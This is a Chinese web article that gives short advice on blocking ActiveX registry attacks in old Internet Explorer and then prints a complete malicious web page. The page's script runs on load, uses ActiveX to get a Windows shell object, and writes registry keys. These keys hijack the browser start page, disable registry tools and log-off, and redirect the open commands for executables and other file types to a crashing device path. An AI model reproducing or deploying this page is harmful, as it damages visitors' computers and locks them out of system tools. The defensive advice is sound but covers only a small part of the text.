首页  编辑  

恶意站点的修改主页等设置的代码

Tags: /计算机文档/网页制作/   Date Created:

避免此类恶意修改注册表的再次发生,你可以在IE的安全属性设置中禁掉

ActiveX,当然在以后的网页浏览过程中可能会造成一些正常使用ActiveX的网站

无法浏览。还有一种办法就是对于Windows98打开

C:\WINDOWS\JAVA\Packages\CVLV1NBB.ZIP,把ActiveXComponent.class删掉;对

于WindowsMe打开C:\WINDOWS\JAVA\Packages\5NZVFPF1.ZIP,把

ActiveXComponent.class删掉。放心,删除这个组件不会影响你正常浏览网页

的。

<HTML>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

</head>

<body

 onload="window.open('index3.html','','fullscreen,scrollbars')"

/body>

<BODY>

<SCRIPT LANGUAGE="Javascript">

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f()

 {

   try {

          a1=document.applets[0];

          a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

          a1.createInstance();

          Shl = a1.GetObject();

          a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

          a1.createInstance();

          FSO = a1.GetObject();

          a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");

          a1.createInstance();

          Net = a1.GetObject();

          try

            {

             if (document.cookie.indexOf("Chg") == -1)

                  { Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://deathqueen.home.chinaren.com");

                    var expdate = new Date((new Date()).getTime() + (1));

                    document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

                    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff", 01, "REG_BINARY");

                    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", "00000001", "REG_DWORD");

                    Shl.RegWrite ("HKCR\\exefile\\shell\\open\\command\\","c:\\con\\con \"%1\" %*");

                    Shl.RegWrite ("HKCR\\regfile\\shell\\open\\command\\","c:\\con\\con \"%1\" %*");

                    Shl.RegWrite ("HKCR\\txtfile\\shell\\open\\command\\","c:\\con\\con \"%1\" %*");

                    Shl.RegWrite ("HKCR\\htmlfile\\shell\\open\\command\\","c:\\con\\con \"%1\" %*");

                    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000001", "REG_DWORD");

                    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled", "00000000", "REG_DWORD");

                    Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "死亡皇后岛绝望禁区");

                    Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "死亡皇后岛绝望禁区");

                    Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "死亡皇后岛绝望禁区");

                    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "死亡皇后岛绝望禁区");

                    var expdate = new Date((new Date()).getTime() + (1));

                    document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

              }

      }

  catch(e)

   {}

  }

  catch(e) {}

  }

function init()

{ setTimeout("f()", 1000);

 }

 init();

 </script>

 </BODY>

</HTML>